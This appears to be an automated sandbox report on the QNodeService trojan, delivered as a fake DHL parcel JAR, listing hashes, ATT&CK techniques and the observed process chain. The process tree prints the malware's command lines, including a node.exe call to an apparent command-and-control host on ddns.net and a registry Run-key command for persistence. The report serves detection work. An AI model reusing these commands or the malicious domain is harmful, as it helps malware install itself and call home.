qnodeservice | fcca91752e1952ea82e9528213dcd6e063277b0df1becad05cd5071509ef6074

General

Target

DHL PAKET(2).jar
Size

103KB
MD5

e299449157cf031f03fbfe79d7900d52
SHA1

d57ca0f5a6770b760f40e2be3948869ff14caa08
SHA256

fcca91752e1952ea82e9528213dcd6e063277b0df1becad05cd5071509ef6074
SHA512

e4f61b06a8b6f605478b612851ead655f984866919973a6740e417e055c20c309a81786eb3d8c99816a49abe07c009e2efa8bfd672c5e7516dfc8a8fbe23a6ba

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
428	node.exe
1252	node.exe
936	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\696a743c-ce03-4077-b718-d89c437a07b2 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab93-172.dat	js
behavioral2/files/0x000100000001ab93-176.dat	js
behavioral2/files/0x000100000001ab93-180.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
428	node.exe
428	node.exe
428	node.exe
428	node.exe
1252	node.exe
1252	node.exe
1252	node.exe
1252	node.exe
936	node.exe
936	node.exe
936	node.exe
936	node.exe
936	node.exe
936	node.exe
936	node.exe
936	node.exe
936	node.exe
936	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 828 wrote to memory of 1192	828	java.exe	76
PID 828 wrote to memory of 1192	828	java.exe	76
PID 1192 wrote to memory of 428	1192	javaw.exe	80
PID 1192 wrote to memory of 428	1192	javaw.exe	80
PID 428 wrote to memory of 1252	428	node.exe	82
PID 428 wrote to memory of 1252	428	node.exe	82
PID 1252 wrote to memory of 936	1252	node.exe	83
PID 1252 wrote to memory of 936	1252	node.exe	83
PID 936 wrote to memory of 2308	936	node.exe	85
PID 936 wrote to memory of 2308	936	node.exe	85
PID 2308 wrote to memory of 2248	2308	cmd.exe	86
PID 2308 wrote to memory of 2248	2308	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL PAKET(2).jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:828
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\0435658a.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1192
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain spaco110cddfdf.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:428
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_8lHHyj\boot.js --hub-domain spaco110cddfdf.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1252
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_8lHHyj\boot.js --hub-domain spaco110cddfdf.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:936
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "696a743c-ce03-4077-b718-d89c437a07b2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2308
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "696a743c-ce03-4077-b718-d89c437a07b2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2248

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/428-174-0x000003088CF00000-0x000003088CF01000-memory.dmp

Filesize
4KB

Download
memory/936-181-0x0000002BAFFC0000-0x0000002BAFFC1000-memory.dmp

Filesize
4KB

Download
memory/1252-177-0x0000016F37DC0000-0x0000016F37DC1000-memory.dmp

Filesize
4KB

Download

Analysis

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